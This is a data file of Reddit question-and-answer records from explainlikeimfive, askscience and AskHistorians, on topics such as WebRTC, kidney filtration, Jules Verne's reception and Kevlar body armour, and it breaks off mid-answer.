{"q_id": "19zpza", "title": "what exactly is webrtc and how does it work? and why is it such a \"revolution\" in web technology?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19zpza/eli5_what_exactly_is_webrtc_and_how_does_it_work/", "answers": {"a_id": ["c8srv68"], "score": [4], "text": ["It enables efficient media streaming between browser clients. It can give you Skype videochats in the browser, without plugins.\n\nThe browsers Chrome and Firefox both now have versions for software developers that can talk to each other. Soon this will be released for ordinary users, and then you will be able to have videoconferences in the browser without installing software, in between different browsers.\n\nNo more need to install Skype software for many people.\n\nThere have not been any cross-browser and plugin free way to do this before."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ah3z5o", "title": "how do the kidneys know the difference between toxic metals and essential metals when filtering the blood and excreting the toxic ones into urine?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ah3z5o/eli5_how_do_the_kidneys_know_the_difference/", "answers": {"a_id": ["eeb9lr1", "eebe62y", "eebgcju", "eec3hty"], "score": [21, 7, 13, 5], "text": ["They don't know anything.  The kidneys are filters.  Every substance has different density, shapes and other properties, all of which can be used to filter things out or put them back in.  It's like sifting flour.  Anything too big or the wrong shape can't fit and thus gets sifted out.  \n\n\nAnd sometimes they put things back in, such as minerls like iron which are need in small amounts but harmful in less amounts.  Those get put back in in the right amounts.  It's all biological eqivilants of sifters, sorting machines, and measuring cups, only on a much smaller scale.", "Kidneys are made up of millions of things called \"nephrons\", which are sort of like filters. What they do is they take blood and other substances, and then separate what your body needs/can handle, and what it can't. For the substances it can't handle, it turns into waste, and is subsequently disposed of from the body.", "By chemical affinity.  They don\u2019t know per say.  It\u2019s just evolved biochemical mechanisms.  Fail to get rid of arsenic from the body?  You will not reproduce.  Not that arsenic is common it\u2019s just an example.  Hemoglobin immobilizes iron through unbonded electrons in histidine.  It varies from metal to metal but in general the chemical mechanism is specific to a certain metal ", "First, an apology to anatomists. Oversimplifying always omits details, but hopefully the main point remains.\n\nThe functional unit of a kidney is a nephron, which we can break into a corpuscle ([the filter bubble](_URL_1_)) and a tubule ([last chance tube](_URL_6_)).\n\n* the **corpuscle** is mostly a gross filter, letting out most of the small and medium stuff, but keeping in the big stuff (proteins) [mostly from getting away](_URL_5_).\n* the **tubule** is like pegs and holes: you ever see those kid toys with [shapes and holes](_URL_2_)? at it's simplest, your tubule is the 'holes' and the different metals are the 'shapes'... but turbocharged with '[modest magnetism](_URL_7_)'. this means sodium might be a square, glucose might be a triangle, and aminos might be circles and ovals. This means most compounds our body needs (sodium, potassium, glucose, aminos) will have a 'hole' to reabsorb them. \n* Like all filters, this one is imperfect. Many heavy metals will not have a 'hole' to reabsorb them, so they might get excreted, but other metals can have funny chemical properties that go way beyond ELI5. To keep it ELI5, just imagine that some Antimony, mercury, and other metals might 'trick' the holes or 'punch their way through' the holes or 'get stuck' in the filter, clogging it up.\n\nI am in no way knowledgeable in this, I just took lots of notes so I didn't get lost in class. For a more detailed (and more accurate, but **NOT ELI5**) look at some examples. here is [iodine](_URL_3_). and here is [more on heavy metals](_URL_4_). Another one on  [heavy metals](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://journals.sagepub.com/doi/pdf/10.1177/019262339802600111", "https://en.wikipedia.org/wiki/Renal_corpuscle", "https://imgur.com/1D6y2Cc", "https://watermark.silverchair.com/edrv0045.pdf?token=AQECAHi208BE49Ooan9kkhW_Ercy7Dm3ZL_9Cf3qfKAc485ysgAAAj8wggI7BgkqhkiG9w0BBwagggIsMIICKAIBADCCAiEGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQMOezxQTASEhdNByYdAgEQgIIB8u8kWUo_RW68vVYSmEVzoVfcKpbR8DX-qxgThgqHFQuX_FXMrgKiZbMLDSFwxQ7GXab4dGiIZxHBlSyTDHOeTzTCtUUHopXMw_ujEMwy6grdTqpp4kHQU-iX798O87Ms2t3t0Qe2fXucytG3sQBED0DMns5lVLSBJkDjOxzzNzkPP5myuzkeAF9DWDjIUSY3PE1a3Gekfs_PNAj2CEYY1TCUCvthCskZfX6DJcbyhbOInaTsmj7o3AVE8Mt7EyojoVpFQGbaXcqVwIVbvGdVS5es2WOF73QpX0TCWxltSKIRhW4F_0sTGGyvLTQfRfTafzTM9JysQ4S49FF4tXd-jQSJWXbBYY0fvNlBsRsH0Ba5apW4s6GFwujBTXcOq5MpseR5fhdtwL_tSAGUn-y6hRyKjKpXjlqlLteeNu0RH0oKj5ndWqojuin4GejckGBfokhEtgpQTPjUWWoTAQWYPEsk_oylKUxQoriHFvpzW-UX3JpKo7sAd_cg6Tk001bsRh0SdzPUjvsCZVOtKMGVHOVyEaLi9wh6fAnh5L50WDCv7sAYXJYW-HdB7GbIUIrrfOOFUaLmt7qaqpPcHgNIvrssM2DQTZw2cmhZloQC-1VyyWUVMAYLpW5-2QEvNlvN9C-40MucjR7EL5jUT3k75FGziw", "https://www.karger.com/Article/FullText/83981", "https://en.wikipedia.org/wiki/Table_of_permselectivity_for_different_substances", "https://commons.wikimedia.org/wiki/File:Gray1128.png", "https://en.wikipedia.org/wiki/Van_der_Waals_force"]]}
{"q_id": "ncdvj", "title": "AskScience AMA Series- IAMA University Research Administrator", "selftext": "I work at a small Midwestern (US) research university with a little less than $40 million in annual research grants.  Prior to coming to the university I worked in Washington DC in one of the funding agencies, helping decide which proposals were funded.  AMA", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ncdvj/askscience_ama_series_iama_university_research/", "answers": {"a_id": ["c37z9xn", "c37zc2e", "c37zchn", "c37zpyj", "c37zq8t", "c381weu", "c382qwm", "c37z9xn", "c37zc2e", "c37zchn", "c37zpyj", "c37zq8t", "c381weu", "c382qwm"], "score": [5, 3, 3, 6, 4, 5, 3, 5, 3, 3, 6, 4, 5, 3], "text": ["Sounds like an interesting job - just a few questions for someone thinking of steering out of research:\nWhat kind of science background do you have? If you were a researcher, how did you make the transition out of research?", "Why are you so uptight about approving my travel reimbursements?", "Could you talk about which proposals get funded? How much does the \"publish or die\" concept influence the decision process? Is a prolific publisher more likely to get funding? Also, were you involved with any SBIR funding?", "Can you talk about the funding agency in Washington DC?  Is science being intentionally held back or redirected by vested interests or others who stand to lose from progress? Were there ever studies you really wanted to approve but could not due to outside influences?", "What does a University Research Administrator do?\n\nHow's it different than working a Washington funding agency?\n\nWhich is a more fun / more rewarding / better job?", "-Give us some stories about the most ridiculous/amusing proposals you had to deal with. Anything ever got to your desk that made you question how the hell the submitter even earned his/her degree?\n\n-I remember having a microbiology professor tell me that he would regularly get proposals for a certain kind of research (something to do with isolating a soil bacteria or a compound they produced) that he would just automatically dismiss as being a waste of time and money. Any proposals that are regularly submitted and denied for sounding cool but have little substance?\n\n-I took an ethics class where our professor related a time where the university got funding from an oil company to research climate change but they kept on trying to insist that they be given the final say on whether it could be published (I'm guessing if it made them look bad) he of course refused any such compromise. Is this something you've had to deal with? What is your normal response to it i.e. will you refuse the money outright or make it very clear that is not going to happen if they give it to you, or is there some wiggle room as long as it doesn't threaten the integrity of the research/er?", "Is there an increasing trend for grants to support open-access publication of the results?  What are your thoughts on open-access?", "Sounds like an interesting job - just a few questions for someone thinking of steering out of research:\nWhat kind of science background do you have? If you were a researcher, how did you make the transition out of research?", "Why are you so uptight about approving my travel reimbursements?", "Could you talk about which proposals get funded? How much does the \"publish or die\" concept influence the decision process? Is a prolific publisher more likely to get funding? Also, were you involved with any SBIR funding?", "Can you talk about the funding agency in Washington DC?  Is science being intentionally held back or redirected by vested interests or others who stand to lose from progress? Were there ever studies you really wanted to approve but could not due to outside influences?", "What does a University Research Administrator do?\n\nHow's it different than working a Washington funding agency?\n\nWhich is a more fun / more rewarding / better job?", "-Give us some stories about the most ridiculous/amusing proposals you had to deal with. Anything ever got to your desk that made you question how the hell the submitter even earned his/her degree?\n\n-I remember having a microbiology professor tell me that he would regularly get proposals for a certain kind of research (something to do with isolating a soil bacteria or a compound they produced) that he would just automatically dismiss as being a waste of time and money. Any proposals that are regularly submitted and denied for sounding cool but have little substance?\n\n-I took an ethics class where our professor related a time where the university got funding from an oil company to research climate change but they kept on trying to insist that they be given the final say on whether it could be published (I'm guessing if it made them look bad) he of course refused any such compromise. Is this something you've had to deal with? What is your normal response to it i.e. will you refuse the money outright or make it very clear that is not going to happen if they give it to you, or is there some wiggle room as long as it doesn't threaten the integrity of the research/er?", "Is there an increasing trend for grants to support open-access publication of the results?  What are your thoughts on open-access?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "eduyo2", "title": "why do differently weighted gases change the pitch of your voice?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eduyo2/eli5_why_do_differently_weighted_gases_change_the/", "answers": {"a_id": ["fblc0tm"], "score": [6], "text": ["The speed of sound in a gas depends upon how fast the molecules in the gas move. For a given temperature, gas molecules all have the same average kinetic energy regardless of how heavy they are, and so heavier ones are going slower. This means that heavier gases have a slower speed of sound. Because our voices are made by bouncing sound around inside of our bodies, slower sound generates lower frequencies and a deeper pitch."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1awp4r", "title": "How was Jules Verne's work considered by its contemporaries ?", "selftext": "Jules Verne's novels had (and still have) tremendous sucess and influence on literature and on the people's perception of science. But how other writers and critics of his time saw his work ? Did they recognized him as a great writer, or was he getting the same kind of treatment most science-fiction and fantasy writers get today (that is, not being considered \"real\" literature and being generally looked down upon) ?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1awp4r/how_was_jules_vernes_work_considered_by_its/", "answers": {"a_id": ["c91j6y1", "c91j99h", "c91jr3l", "c91lpjy", "c91o4dp"], "score": [94, 4, 12, 3, 8], "text": ["I know that simply doing a bit of research on the internet and posting it here is a little frowned on in Ask Historians, but its been 6 hours without a reply...\n\nSo a quick search pulls up these two articles from Australian newspapers, which give an insight into how he was received by authors and the public:\n\nFrom 1898:\n\n > It was Georges Sand who induced him to write ' Vingt Mille Lieues sous les Mers,' and expressed herself as fascinated and enthralled by his narratives.\n\n_URL_0_\n\nand from 1899\n\n > Scarcely a story-teller of modern times, says the \"Chicago News,\" can\nlay claim to a wider fame than Jules Verne, the modest French author, whose books have circulated by the million over the civilised world\n\n_URL_2_\n\n\nThis piece is from Chicago in 1893:\n\n > JULES VERNE.\nHOME LIFE OF THE GREAT NOVELIST.\nParis, June 12.\u2014 \"The great regret of my life Is that 1 have never taken any place in French literature.\" as the old man said this his head drooped ard a ring of sadness sounded in the cheerful and hearty voice.\n\n > And is it not by a combination of science and industrialism with all that Is most romantic in life that Verne's novels possess an originality which can be found in the works of no other living writer, not even among those of the men who count most in French literature?\n\n_URL_1_\n\n\nI think combined, as well as the sheer amount of other articles I found, show that he was incredibly popular with the public, and there were many articles detailing his habits, et cetera.  His forward outlook is something that is mentioned in most articles, and is key to his appeal.  The mention of Sand shows that he was respected and accepted by known authors of his day, but the 1893 article indicates that he himself perhaps did not see himself as respected by the French establishment...", "Also, did they consider his ideas pure fiction, or did they think that it would someday become reality, like moon landing?", "I have left the book behind while I'm home for spring break, unfortunately. But I have a copy of \"She\" by Rider Haggard with some included reviews from when it was first published - another from the period lost-world fantasy/travel type of book with a very similar writing style - and a couple of reviews refer to Verne's work.\n\nThese reviews identify \"She\" as addressing kind of a genre niche and compare it to Verne's stuff (basically saying, \"hey, this has totally already been done\") which would indicate that it was seen more as *genre* and less as *literature*, similar to how sci-fi and fantasy are looked on today. However, there is clear respect for Verne's writing skill and Haggard is criticized for writing in the Verne genres without the eloquent style.\n\nSo he was definitely recognized as a skilled writer, but his books were not looked on as \"real literature\" at first. \n\nRemember though that it is a rare book acknowledged as literature when it is first published - part of what defines something as literature to us today is because it did something new/unheard of when the book was first written (which means contemporaries tend to react to it like \"What is this crap??\"). For example, when Austen's works were published, they were \"just novels\" - not considered real literature by any means.", "A related question: my understanding is that contemporary English translations of Verne's wrok introduced a number of deliberate alterations (being translated by anti-French editors/authors). Is this true and have there been any more accurate translations since?", "They were very popular when they came out, and were immensely profitable for his editor, Pierre-Jules Hetzel. Verne, as others have noted, was not given a seat at the Academie Francaise, but he was awarded the title of Chevalier de la Legion d'Honneur, which is an incredibly prestigious decoration. \n\nVerne himself made a fortune through his writing. He was much richer than other more \"appreciated\" authors... think maybe JK Rowling? \n\nHe was not considered one of the greatest novelists of the century, but he was read by everyone. \n\nAs you mention, his success is due in part to his interest in science, and even paleo-futurism. The second half of the 19th century was in general the moment that science and progress became closely related concepts, and Verne was one of many to realize this. You might want to look at Henri Pointcar\u00e9, who vulgarized a lot of scientific inormation for mass consumption (and was also an important and serious mathematician). He WAS in the Academie!\n\nVerne's continued success is an example of someone whose reputation hasn't changed much since his own time. He is still not taken very seriously by academia, or at least he isn't studied as often as other novelists of the 19th century. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://nla.gov.au/nla.news-article87782518", "http://chroniclingamerica.loc.gov/lccn/sn94052989/1893-06-25/ed-1/seq-11/ocr/", "http://nla.gov.au/nla.news-article82951451"], [], [], [], []]}
{"q_id": "1jmczt", "title": "How did insurers operating in the 18th and 19th centuries such as Lloyd's of London receive accurate reports regarding shipping losses?", "selftext": "I know that they received news to Lloyd's coffee shop and that this essentially became the birthplace of the first insurance market but were there not a high-level of mistakes, inaccuracies, scams and or foul play going on?\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jmczt/how_did_insurers_operating_in_the_18th_and_19th/", "answers": {"a_id": ["cbg7jqg", "cbg8952"], "score": [2, 3], "text": ["I've read that they contracted people of prestige in various ports and areas to feed them shipping reports via wire.\nThese were usually ships seen passing but could also include irregular events as the agent thought to report.", "I can't comment on the actual method of receiving reports, but I hope this is useful.\n\nInformation was slow and often inaccurate \n\n > Information, however, travelled slowly in the eighteenth century. Even\nfrom Scotland, information could take up to 2 weeks to arrive in London,\nand the latest news from foreign ports was frequently months old. Ships\nsometimes disappeared without a trace, and when a ship was lost or damaged it was frequently costly, and sometimes impossible, to verify or disprove events\nwhich had occurred in distant ports or at sea.\n\n[Link](_URL_0_)\n\nFraud did happen but as with all insurance it was taken into account when setting the premium."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.aria.org/rts/proceedings/2005/Kingston%20-%20Marine.pdf"]]}
{"q_id": "3nooq0", "title": "what is the safe harbour agreement and how does today's ruling affect users of facebook, etc?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nooq0/eli5_what_is_the_safe_harbour_agreement_and_how/", "answers": {"a_id": ["cvpx7af"], "score": [6], "text": ["Put simply, Safe Harbour in this context relates to an agreement between the EU and the USA that US companies can store EU citizens' data in the USA.  Although not exclusively aimed at internet companies, they are the ones most affected because they're most likely to have users worldwide but data processing exclusively or largely in the USA.\n\nThe ruling today from the ECJ overturns the Safe Harbour concept, and says that it is now unlawful for any company to transfer data about individuals out of the EU, without that individual's explicit permission.  This is likely to have a major impact on companies such as Facebook, Google, Amazon, and many others, which rely on having their global data synchronised.\n\nInitially there will be little change for Facebook users (companies will be given a grace period to update their systems to make them compliant with the law). It's likely that in the future, Facebook and many other sites will require EU citizens to confirm that they consent to have their data sent to the USA for processing. If they won't consent to that, then they will have either a very limited functionality or maybe won't be able to use the site at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "trpvr", "title": "How much mass would an asteroid need to break up the moon and at what velocity? ", "selftext": "Also, how badly could the fragments impact Earth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/trpvr/how_much_mass_would_an_asteroid_need_to_break_up/", "answers": {"a_id": ["c4p6kol", "c4p8tdh", "c4pc00u"], "score": [8, 2, 3], "text": ["The better question would be:  \n\n\"How much momentum would  an object need to break up the moon?\"\n\nThis would allow you to factor in both mass and velocity as one answer, and then back solve it for different mass and velocity values.", "Largest impact known on the Moon is South Pole-Aitken basin. The size of the object isn't known but at least it could provide a sense of scale.", "At such a mass and speed combination the moon acts more like silly putty than 'solid'. So, when something that big and fast hits the moon it wouldn't fragment, instead it goes squishy then most likely falls back in to itself.\n\nSome related questions:\n\n * [How would the earth be affected if the moon were to split in two?](_URL_5_)\n\n * [What would happen if a Comet destroyed, or significantly damaged the moon?](_URL_4_)\n\n * [What would happen if the moon disappeared/was destroyed?](_URL_0_)\n\n * [What immediate and long term effects would there be on our species if the moon was struck and destroyed by a meteor?](_URL_2_)\n\n * [What would the long-term prognosis be if an asteroid took out the moon?](_URL_7_)\n\n * [Is it possible for an object to knock the moon into the Earth?](_URL_9_)\n\n * [Could a meteor (meteorite?) hit the moon at the right angle and slow its orbit enough that it is pulled into earth?](_URL_6_)\n\n * [If the moon were to be hit by a large enough object at high enough speeds could it be knocked out of orbit?](_URL_3_)\n\nBelow are a couple of impact calculators for you to play with. (I believe the latter, at least, assumes impact on to a plane (as opposed to a spherical body), so it won't be accurate for craters that are a reasonable fraction of the impactee's size.)\n\n * [Impact Earth](_URL_1_)\n\n * [Crater size calculator](_URL_8_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/askscience/comments/gnhy3/what_would_happen_if_the_moon_disappearedwas/", "http://www.purdue.edu/impactearth/", "http://www.reddit.com/r/askscience/comments/rp88u/what_immediate_and_long_term_effects_would_there/", "http://www.reddit.com/r/askscience/comments/ter5g/if_the_moon_were_to_be_hit_by_a_large_enough/", "http://www.reddit.com/r/askscience/comments/fmf05/what_would_happen_if_a_comet_destroyed_or/", "http://www.reddit.com/r/askscience/comments/slw5o/how_would_the_earth_be_affected_if_the_moon_were/", "http://www.reddit.com/r/askscience/comments/kncu6/could_a_meteor_meteorite_hit_the_moon_at_the/", "http://www.reddit.com/r/askscience/comments/m3h4o/what_would_the_longterm_prognosis_be_if_an/", "http://www.lpl.arizona.edu/tekton/crater_c.html", "http://www.reddit.com/r/askscience/comments/oougj/is_it_possible_for_an_object_to_knock_the_moon/"]]}
{"q_id": "68gikh", "title": "why does facebook feel the need to constantly switch the feed from \"most recent\" to \"top stories?\" it happens several times a day. how do they benefit from this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/68gikh/eli5_why_does_facebook_feel_the_need_to/", "answers": {"a_id": ["dgybpg0", "dgyc5vx"], "score": [3, 3], "text": ["I can't stand \"top stories\". If I wanted to know what people were doing 3 days ago, I would've gotten on FB 3 days ago.", "The reason facebook (and other social media) do this is to make the feed seem more active. If every time people check facebook they are seeing different posts it makes it seem like more is happening. This encourages people to keep coming back and checking the feed. \n\nI also hate this as it makes all kind of other problems, like trying to find an older post, but that is the reason they do it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6d2ia5", "title": "how do we see spinning propeller blades when we look at them from our peripheral vision", "selftext": "I was sitting inside a prop plane and could see the fast moving blades from my peripheral vision but they appeared as a blur when I looked at them directly.\n\nEdit: Spelling", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6d2ia5/eli5_how_do_we_see_spinning_propeller_blades_when/", "answers": {"a_id": ["dhz9g57", "dhzadbz"], "score": [2, 6], "text": ["What happened when you saw them with your peripheral vision was that your eyes flicked very fast to one side and back again, so they captured a single still image of the propellers. When you looked at them directly you saw a continuous set of images.", "peripheral vision is more focused on movement detection while our main central vision is doing the main work of detecting and analyzing what we see.\nwe have less cell receptors in the eye in the peripheral area. making it not good at analyzing detail, color and shape. \nso if these cells are triggered, we immediately get a \"SOMETHING HAPPENED! DANGER\" and we focus our centralized gaze to it.\n\nas to the propeller, i think because the peripheral of the eye has less cell receptors, which means they are more far apart from each other. this means, they should be worse at picking up higher frequency images. \nbecause your peripheral vision isnt fast enough, you get something called an aliasing effect that make it seem as though the propeller is slower and clear than what it really is"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bbegbx", "title": "Is there any seven-day periodicity in the global climate due to the industrial work-week?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bbegbx/is_there_any_sevenday_periodicity_in_the_global/", "answers": {"a_id": ["eki9xvk", "ekil834", "ekip8et", "ekixjjc", "ekjpm0h", "ekjpz65"], "score": [2037, 94, 76, 42, 182, 33], "text": ["There is weekly variation due to human activity, but the details differ in different parts of the world. For example \"Parts of the United States have less rainfall on weekends, while Germany gets more rain at the end of the week.\"\n\n_URL_0_", "What is interesting is that in the early -mid 1940s, there was a big jump in average global temperature...and what was the entire world doing at that time?? Burning coal oil and gas in a world war. So while factories closing on the East Coast of the US on Friday at 4pm EST doesn\u2019t, automatically make it cooler in Australia, the increase of industrial production and or increase of dirty industrial production, can have a cumulative effect.\n\nSo there is a correlation of world and economic events obviously that can help influence conditions...but then of course there\u2019s plenty of factories in China and elsewhere that are on 6 day work weeks.", "Not on a global scale. Though at work, we have instruments on our building that read trace gas column amounts in the atmosphere. They\u2019re sensitive enough to show increases of nitrogen dioxide during the time when people generally drive in to, or out of work. But for it to affect the global climate, that\u2019d require so many emissions to do that we\u2019d suffocate ourselves pretty quickly", "Your question was answerable if you removed everything after the word \"climate\".\n\nCausal links are devilishly hard to establish in science. One could point to weekly periodicity and hypothesize it was due to a work week... but it could be due to something completely different.\n\nFurther, if you are looking for weekly repeated patterns, you're looking at weather, not climate. Climate science doesn't work with time scales as small as a week, generally speaking.", "Wow this thread is a train wreck. Here's a straight forward answer from an atmospheric scientist. There aren't any global periodicities due to the work week simply because the Earth is big and a week is small. However, there absolutely are local periodicities due to the work week. Pretty much any pollutant (CO2, NOx, O3, etc.) is higher on weekdays than the weekends. Whether these variations in pollution affects other aspects of weather (rain and stuff), is contentious and probably unknowable. The problem is that there is already a very strong periodicity of 7-10 days that overwhelms whatever small affect we might have.", "Not necessarily in climate, but my town is on a hydroelectric tailwater. We have trout in the river and a state fisheries biologist theorized that the power generation releases, as they were being conducted, were limiting the trouts growth. The dam is a peak power generator so only produces electricity on weekdays when business requires it most. This biologist examined the otolith bones from the trouts heads that are very sensitive to growth conditions in how the bone there is deposited. This bone can be read like the rings on a tree. Under a microscope, you can see the generation schedule of the dam etched in the otolith bones of the trout from the river below it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nature.com/news/2008/080811/full/news.2008.1017.html"], [], [], [], [], []]}
{"q_id": "7h191n", "title": "what does the tax bill that was passed today mean? how will it affect americans in each tax bracket?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7h191n/eli5_what_does_the_tax_bill_that_was_passed_today/", "answers": {"a_id": ["dqnd1jl", "dqnds8l", "dqng3i1", "dqnku5x"], "score": [19, 21, 5, 3], "text": ["None yet. It has to be reconciled with a vastly different house bill and then passed again.", "The tax bill is 500 pages long and there were a lot of changes still going on right to the end.  It's not just an adjustment to the income tax brackets, it's a whole bunch of changes.  As such there is no good answer to your question.  The big take aways are:\n\n- Big reduction in corporate income tax rate will make large companies very happy.  \n- Pass through rate change will make certain styles of business (law firms, hedge funds) extremely happy\n- Income tax changes are moderate, and are set to expire (though it's the kind of thing that might just always get re-applied without being made permanent)\n- People in high tax states (California, New York) lose out, and many of them will end up with their taxes raised.", "Also: does this apply to 2017 taxes? Or does it start with 2018 taxes?", "This article explains both the House and senate bills, including the proposed changes to your income taxes based on your income level. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.investopedia.com/news/trumps-tax-reform-what-can-be-done/"]]}
{"q_id": "6dfglq", "title": "Was there once an \"L\" sound in Japanese?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6dfglq/was_there_once_an_l_sound_in_japanese/", "answers": {"a_id": ["di3drmq"], "score": [8], "text": ["There sort of still is. It's a popular belief that \"l\" and \"r\" are *allophones* of the same *phoneme*. A *phoneme* is a sound that is distinct from others on an underlying level due to various phonological features. *Allophones* of a phoneme are two different ways that a phoneme can be pronounced on the surface (Clark Kent and Superman are allophones of the same person). \n\nIn Japanese, as far back as Proto-Japonic, there has been no distinguishing feature between /r/ and /l/. They've effectively been the same sound, and sometimes when you ask a native Japanese speaker to say words containing an /r/, it may even sound much more like /l/. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4scmdb", "title": "If gravity is not a force, but rather the warping of spacetime, are there other \"forces\" that are really some kind of warping?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4scmdb/if_gravity_is_not_a_force_but_rather_the_warping/", "answers": {"a_id": ["d588tlg", "d589orr"], "score": [10, 23], "text": ["Yes. The fundamental forces of the standard model also admit a geometrical formulation. This geometrical interpretation is unlike that for gravity, though there are a few similarities. Essentially, these forces are consequences of curvature of \"internal\" spaces.", "To clarify what /u/ranotels is saying. Yes, but unlike gravity, which is the warping of some universal fabric that acts on everything, the other forces only effect certain parts of the universe around us, which is why we draw this line in the sand.\n\nThere are plenty of particles that can pass through the weak or strong or even electromagnetic fields without following their twists and curves, but these particles and even the forces themselves are required to follow the path of space and time and interact with it at every tick of the clock. This universality tells us that the forces aren't really the same thing. they're just frames layered over the top of the true image"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2cz7dg", "title": "if i am dieting, why should i care what i eat as long as i stick to x amount of calories a day? (assuming my only concern is losing weight). isn't a calorie a calorie?", "selftext": "Since the title is a bit of a mess, let me ask it in the form of a simple scenario. \nTwo identical people want to lose weight. One sticks to a 2000 calorie diet that is relatively balanced, and the other eats 2000 calories a day through junk food that is high in fat, sodium, and sugar. \nWhat happens week by week and why?\n\nEdit: Based off the first few responses, I would like to emphasize that I am ONLY interested in losing weight. I realize the negative effects of loading up on fat and sugar for your health, but I am interested in learning whether in terms of JUST weight loss, a calorie really is just a calorie. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cz7dg/eli5_if_i_am_dieting_why_should_i_care_what_i_eat/", "answers": {"a_id": ["cjkhcc7", "cjki0jd"], "score": [5, 3], "text": ["In your only goal is to lose weight, then the main thing is basically just calories.\n\nIf your only goal is survival, then on at least a short term basis calories are all that matters.\n\nHowever, a lot of health problems can come up from having empty calories and there are a whole range of diseases like scurvy that could result.", "If you eat 2000 Calories of Skittles or 2000 Calories of balanced meals, it will be the same for weight-loss purposes.\n\nHowever; big however. One will get you very sick very quickly and one will not (I'm assuming you can tell which is which). \n\nI used a system sometimes called \"Volumetrics\" for weight loss before my wedding. I dropped my daily intake to 1500 Calories and added some light work-outs. The thing is, if you eat 1500 Calories of Skittles you are hungry... all the time. Your body doesn't judge whether you are hungry by whether or not you've hit an arbitrary number but rather how full you are. \n\nFoods that fill you up stop you from feeling hungry, so by focusing on eating high volume, low Calorie foods it is easier to lose weight because you don't have the problem of feeling hungry and giving into the temptation to snack - which is, honestly, the real battle here."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "x4bs1", "title": "Why do we perceive some inanimate objects as \"cool looking\"?", "selftext": "I understand the evolutionary reason why we find certain men/women attractive: generally the healthier looking women, and the more powerful man.\n\nBut, why do we perceive a motorcycle to look \"cool\", while our BBQ Grill does not?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x4bs1/why_do_we_perceive_some_inanimate_objects_as_cool/", "answers": {"a_id": ["c5j1lgh", "c5j2qmb"], "score": [3, 2], "text": ["Because your society has taught you that motorcycles are cool. It sounds like a smart ass answer but it is basically the truth. Ask a tribal culture what looks nice and they might say a certain tree. [Aesthetics](_URL_0_) ", "It depends on sociological standards that are very fleeting when something is found to be \"cool looking\". It may seem very matter-of-fact to you that motorbikes look cool, but less than a century ago modern motorbikes would be too garish for people to consider as a vehicle, let alone think of as \"cool\". In other societies, somebody in possession of an item that grills food almost automatically would be much \"cooler\" than the motorcyclist. \n\n\"We\" do not have any constant perceptions; they change all the time. That's why fashion trends less than a decade ago are horrifying now, or what was once kitsch is now arty and cool-looking in a matter of months or years. It's for this reason that movies 20+ years old struggle not to seem dated held up to today's perceptions - not because of technology but some sociological perceptions of aesthetics and what looks \"cool\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Aesthetics"], []]}
{"q_id": "aveb43", "title": "what makes kevlar better against bullets than steel (or any metal)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aveb43/eli5_what_makes_kevlar_better_against_bullets/", "answers": {"a_id": ["eheckz8", "ehecw6z", "ehedrur", "eheyhgr", "ehf5vmb"], "score": [4, 50, 260, 4, 6], "text": [" It's softer and stretches out without breaking so better at absorbing the bullet's energy. ", "Veteran/Cop here:\n\nOne's not better than the other.\n\nThere are trade offs for both.\n\nKevlar is lighter and more flexible than steel or ceramic plates.  The disadvantage is that kevlar will only stop some handgun rounds.\n\nSteel/Ceramic will stop rifle rounds, but it is *much* heavier.  Typically the plates are carried in a kevlar carrier.\n\nSo it's a tradeoff.\n\nPolice typically wear kevlar vests because they're more likely to be shot by handguns.\n\nMilitary wear kevlar vests with ceramic plates because they're more likely to be shot by rifles.\n\nI've also got a plate carrier with steel plates in my patrol car I can put on if needed.", "There are two ways to stop a moving object: you either have something hard and heavy enough to stop it over a short distance, or you have something flexible with high tensile strength that \"catches\" it and slows it down over a longer 